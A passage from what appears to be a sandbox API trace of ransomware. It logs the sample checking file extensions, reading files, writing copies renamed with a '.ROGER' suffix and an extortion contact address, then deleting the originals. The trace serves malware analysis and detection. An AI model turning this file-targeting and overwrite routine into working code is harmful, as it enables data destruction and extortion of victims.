(lpString1=".pdf", lpString2=".xml") returned -1 [0040.870] lstrlenW (lpString=".xls") returned 4 [0040.870] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.870] lstrlenW (lpString=".xlsx") returned 5 [0040.870] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0040.870] lstrlenW (lpString=".ppt") returned 4 [0040.870] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.870] lstrlenW (lpString=".zip") returned 4 [0040.870] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.870] lstrlenW (lpString=".rar") returned 4 [0040.870] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.870] lstrlenW (lpString=".bz2") returned 4 [0040.870] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.870] lstrlenW (lpString=".7z") returned 3 [0040.870] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.870] lstrlenW (lpString=".dbf") returned 4 [0040.870] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.870] lstrlenW (lpString=".1cd") returned 4 [0040.870] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.870] lstrlenW (lpString=".jpg") returned 4 [0040.870] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.870] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0040.870] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0040.871] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0041.212] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=6421) returned 1 [0041.212] CloseHandle (hObject=0x360) returned 1 [0041.231] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0041.234] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.242] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0041.242] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.243] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.243] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0041.243] GetLastError () returned 0x0 [0041.243] ReadFile (in: hFile=0x360, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x1915, lpOverlapped=0x0) returned 1 [0041.267] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x1920, lpOverlapped=0x0) returned 1 [0041.268] ReadFile (in: hFile=0x360, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0041.268] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xee, lpOverlapped=0x0) returned 1 [0041.268] SetEndOfFile (hFile=0x36c) returned 1 [0041.268] CloseHandle (hObject=0x36c) returned 1 [0041.269] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.269] SetEndOfFile (hFile=0x360) returned 1 [0041.270] CloseHandle (hObject=0x360) returned 1 [0041.272] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0041.272] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1 [0041.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.272] lstrlenW (lpString=".doc") returned 4 [0041.272] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.272] lstrlenW (lpString=".docx") returned 5 [0041.272] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0041.272] lstrlenW (lpString=".pdf") returned 4 [0041.272] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.272] lstrlenW (lpString=".xls") returned 4 [0041.272] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.273] lstrlenW (lpString=".xlsx") returned 5 [0041.273] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0041.273] lstrlenW (lpString=".ppt") returned 4 [0041.273] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.273] lstrlenW (lpString=".zip") returned 4 [0041.273] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.273] lstrlenW (lpString=".rar") returned 4 [0041.273] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.273] lstrlenW (lpString=".bz2") returned 4 [0041.273] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.273] lstrlenW (lpString=".7z") returned 3 [0041.273] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.273] lstrlenW (lpString=".dbf") returned 4 [0041.273] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.273] lstrlenW (lpString=".1cd") returned 4 [0041.273] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.273] lstrlenW (lpString=".jpg") returned 4 [0041.273] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.273] lstrlenW (lpString=".doc") returned 4 [0041.273] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.273] lstrlenW (lpString=".docx") returned 5 [0041.273] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0041.273] lstrlenW (lpString=".pdf") returned 4 [0041.273] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.273] lstrlenW (lpString=".xls") returned 4 [0041.273] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.273] lstrlenW (lpString=".xlsx") returned 5 [0041.273] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0041.273] lstrlenW (lpString=".ppt") returned 4 [0041.274] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.274] lstrlenW (lpString=".zip") returned 4 [0041.274] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.274] lstrlenW (lpString=".rar") returned 4 [0041.274] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.274] lstrlenW (lpString=".bz2") returned 4 [0041.274] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.274] lstrlenW (lpString=".7z") returned 3 [0041.274] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.274] lstrlenW (lpString=".dbf") returned 4 [0041.274] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.274] lstrlenW (lpString=".1cd") returned 4 [0041.274] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.274] lstrlenW (lpString=".jpg") returned 4 [0041.274] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.274] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0041.274] lstrlenW (lpString="Alphabet.xml") returned 12 [0041.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0041.375] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=791686) returned 1 [0041.375] CloseHandle (hObject=0x390) returned 1 [0041.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0041.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0041.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0041.377] lstrlenW (lpString=".doc") returned 4 [0041.377] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.377] lstrlenW (lpString=".docx") returned 5 [0041.377] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0041.377] lstrlenW (lpString=".pdf") returned 4 [0041.377] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.378] lstrlenW (lpString=".xls") returned 4 [0041.378] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.378] lstrlenW (lpString=".xlsx") returned 5 [0041.378] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0041.378] lstrlenW (lpString=".ppt") returned 4 [0041.378] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0041.378] lstrlenW (lpString=".zip") returned 4 [0041.378] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.378] lstrlenW (lpString=".rar") returned 4 [0041.378] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.378] lstrlenW (lpString=".bz2") returned 4 [0041.378] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.378] lstrlenW (lpString=".7z") returned 3 [0041.378] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0041.378] lstrlenW (lpString=".dbf") returned 4 [0041.378] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0041.378] lstrlenW (lpString=".1cd") returned 4 [0041.378] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0041.378] lstrlenW (lpString=".jpg") returned 4 [0041.378] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0041.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0041.378] lstrlenW (lpString=".doc") returned 4 [0041.378] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.378] lstrlenW (lpString=".docx") returned 5 [0041.378] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0041.378] lstrlenW (lpString=".pdf") returned 4 [0041.378] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.379] lstrlenW (lpString=".xls") returned 4 [0041.379] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.379] lstrlenW (lpString=".xlsx") returned 5 [0041.379] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0041.379] lstrlenW (lpString=".ppt") returned 4 [0041.379] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0041.379] lstrlenW (lpString=".zip") returned 4 [0041.379] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.379] lstrlenW (lpString=".rar") returned 4 [0041.379] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.379] lstrlenW (lpString=".bz2") returned 4 [0041.379] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.379] lstrlenW (lpString=".7z") returned 3 [0041.379] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0041.379] lstrlenW (lpString=".dbf") returned 4 [0041.379] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0041.379] lstrlenW (lpString=".1cd") returned 4 [0041.379] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0041.379] lstrlenW (lpString=".jpg") returned 4 [0041.379] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.379] lstrcmpiW (lpString1=".avi", lpString2=".ROGER") returned -1 [0041.379] lstrlenW (lpString="delete.avi") returned 10 [0041.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0041.391] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=224256) returned 1 [0041.391] CloseHandle (hObject=0x394) returned 1 [0041.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0041.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0041.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0041.391] lstrlenW (lpString=".doc") returned 4 [0041.392] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0041.392] lstrlenW (lpString=".docx") returned 5 [0041.392] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0041.392] lstrlenW (lpString=".pdf") returned 4 [0041.392] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0041.392] lstrlenW (lpString=".xls") returned 4 [0041.392] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0041.392] lstrlenW (lpString=".xlsx") returned 5 [0041.392] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0041.392] lstrlenW (lpString=".ppt") returned 4 [0041.392] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0041.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0041.392] lstrlenW (lpString=".zip") returned 4 [0041.392] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0041.392] lstrlenW (lpString=".rar") returned 4 [0041.392] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0041.392] lstrlenW (lpString=".bz2") returned 4 [0041.392] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0041.392] lstrlenW (lpString=".7z") returned 3 [0041.392] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0041.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0041.392] lstrlenW (lpString=".dbf") returned 4 [0041.392] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0041.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0041.392] lstrlenW (lpString=".1cd") returned 4 [0041.392] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0041.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0041.392] lstrlenW (lpString=".jpg") returned 4 [0041.392] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0041.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0041.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0041.393] lstrlenW (lpString=".doc") returned 4 [0041.393] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0041.393] lstrlenW (lpString=".docx") returned 5 [0041.393] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0041.393] lstrlenW (lpString=".pdf") returned 4 [0041.393] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0041.393] lstrlenW (lpString=".xls") returned 4 [0041.393] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0041.393] lstrlenW (lpString=".xlsx") returned 5 [0041.393] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0041.393] lstrlenW (lpString=".ppt") returned 4 [0041.393] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0041.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0041.393] lstrlenW (lpString=".zip") returned 4 [0041.393] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0041.393] lstrlenW (lpString=".rar") returned 4 [0041.393] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0041.393] lstrlenW (lpString=".bz2") returned 4 [0041.393] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0041.393] lstrlenW (lpString=".7z") returned 3 [0041.393] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0041.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0041.393] lstrlenW (lpString=".dbf") returned 4 [0041.393] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0041.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0041.393] lstrlenW (lpString=".1cd") returned 4 [0041.393] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0041.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0041.393] lstrlenW (lpString=".jpg") returned 4 [0041.393] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0041.394] lstrcmpiW (lpString1=".avi", lpString2=".ROGER") returned -1 [0041.394] lstrlenW (lpString="join.avi") returned 8 [0041.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0041.394] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=222208) returned 1 [0041.394] CloseHandle (hObject=0x394) returned 1 [0041.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0041.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0041.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0041.394] lstrlenW (lpString=".doc") returned 4 [0041.394] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0041.394] lstrlenW (lpString=".docx") returned 5 [0041.394] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0041.394] lstrlenW (lpString=".pdf") returned 4 [0041.394] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0041.394] lstrlenW (lpString=".xls") returned 4 [0041.394] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0041.394] lstrlenW (lpString=".xlsx") returned 5 [0041.394] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0041.394] lstrlenW (lpString=".ppt") returned 4 [0041.395] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0041.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0041.395] lstrlenW (lpString=".zip") returned 4 [0041.395] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0041.395] lstrlenW (lpString=".rar") returned 4 [0041.395] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0041.395] lstrlenW (lpString=".bz2") returned 4 [0041.395] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0041.395] lstrlenW (lpString=".7z") returned 3 [0041.395] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0041.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0041.395] lstrlenW (lpString=".dbf") returned 4 [0041.395] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0041.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0041.395] lstrlenW (lpString=".1cd") returned 4 [0041.395] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0041.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0041.395] lstrlenW (lpString=".jpg") returned 4 [0041.395] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0041.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0041.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0041.395] lstrlenW (lpString=".doc") returned 4 [0041.395] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0041.395] lstrlenW (lpString=".docx") returned 5 [0041.395] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0041.395] lstrlenW (lpString=".pdf") returned 4 [0041.395] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0041.395] lstrlenW (lpString=".xls") returned 4 [0041.395] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 